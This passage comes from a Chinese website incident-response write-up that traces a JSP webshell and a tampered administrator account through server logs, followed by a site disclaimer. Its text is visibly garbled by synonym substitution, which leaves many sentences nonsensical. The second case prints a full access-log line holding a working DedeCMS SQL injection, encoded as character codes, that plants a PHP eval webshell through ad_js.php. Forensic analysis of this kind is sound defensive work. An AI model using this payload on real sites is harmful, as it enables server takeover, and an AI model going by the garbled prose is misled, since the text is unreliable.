|
通过对被改动的图片举办查察，确认图片改动时刻为 2018 年 04 月 18 日 19:24:07 。
(2) 会见日记溯源
通过图片修改的时刻节点，发明可疑IP：113.xx.xx.24 (署理IP，无法追溯真实来历)，会见 image.jsp(剧本木马)，并随后会见了被改动的图片地点。
进一步检察全部的日记文件(日记生涯时刻从 2017-04-20 至 2018-04-19)，发明一共只有两次会见 image.jsp 文件的记录，别离是 2018-04-18 和 2017-09-21。
image.jsp在 2017-09-21之 前就已经上传到网站处事器，已经躲藏长达半年多乃至更久的时刻。
(3) 探求实情
我们在网站根目次找到了谜底，发明站点目次下存在 ROOT.rar 全站源码备份文件，备份时刻为 2017-02-28 10:35。
通过对 ROOT.rar 解压缩，发明源码中存在的剧本木马与网站会见日记的可疑文件名同等(image.jsp)。
按照这几个时刻节点，我们实行去还原进攻者的进攻路径。
可是我们在会见日记并未找到 ROOT.rar 的会见下载记录，会见日记只保存了近一年的记录，而这个 webshell 也许已经存在了多年。
黑客是怎样获取 webshell 的呢?
也许是通过下载 ROOT.rar 全站源码备份文件获取到个中存在的木马信息，可能几年前入侵并躲藏了多年，又可能是从地下黑产购置了 shell，我们不得而知。
本文的示例中进攻者为我们留下了大量的证据和记录，而更多时辰，进攻者也许会破除全部的要害信息，这势必会加大观测职员的取证难度。
第 8 篇：打点员账号被改动
你是某一个网站的打点员，有一天，你的打点员账号 admin 却登录不了，进入数据库查察，原本打点员账号用户名不存在了，却多了其它一个打点员用户名。差池，不是新增了打点员，而是你的打点员用户名被改动了。
1. 征象描写
前后端疏散，靠山只应承内网会见，打点员账号 admin 却依然被多次被改动
2. 题目处理赏罚
(1) 网站 webshell
在针对网站根目次举办 webshell 扫描，发明存在剧本木马，建设时刻为 2018-06-13 04:30:30
(2) 定位 IP
通过木马建设时刻， 查察网站会见日记，定位到 IP 为：180.xx.xx.3
(3) 关联说明
全局搜刮与该 IP 有关的操纵日记：
在剧本木马天生前，有两条较量可疑的会见日记吸引了我们的留意：
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35 HTTP/1.1" 200 67
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32
（编辑：湖南网）
【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!
|
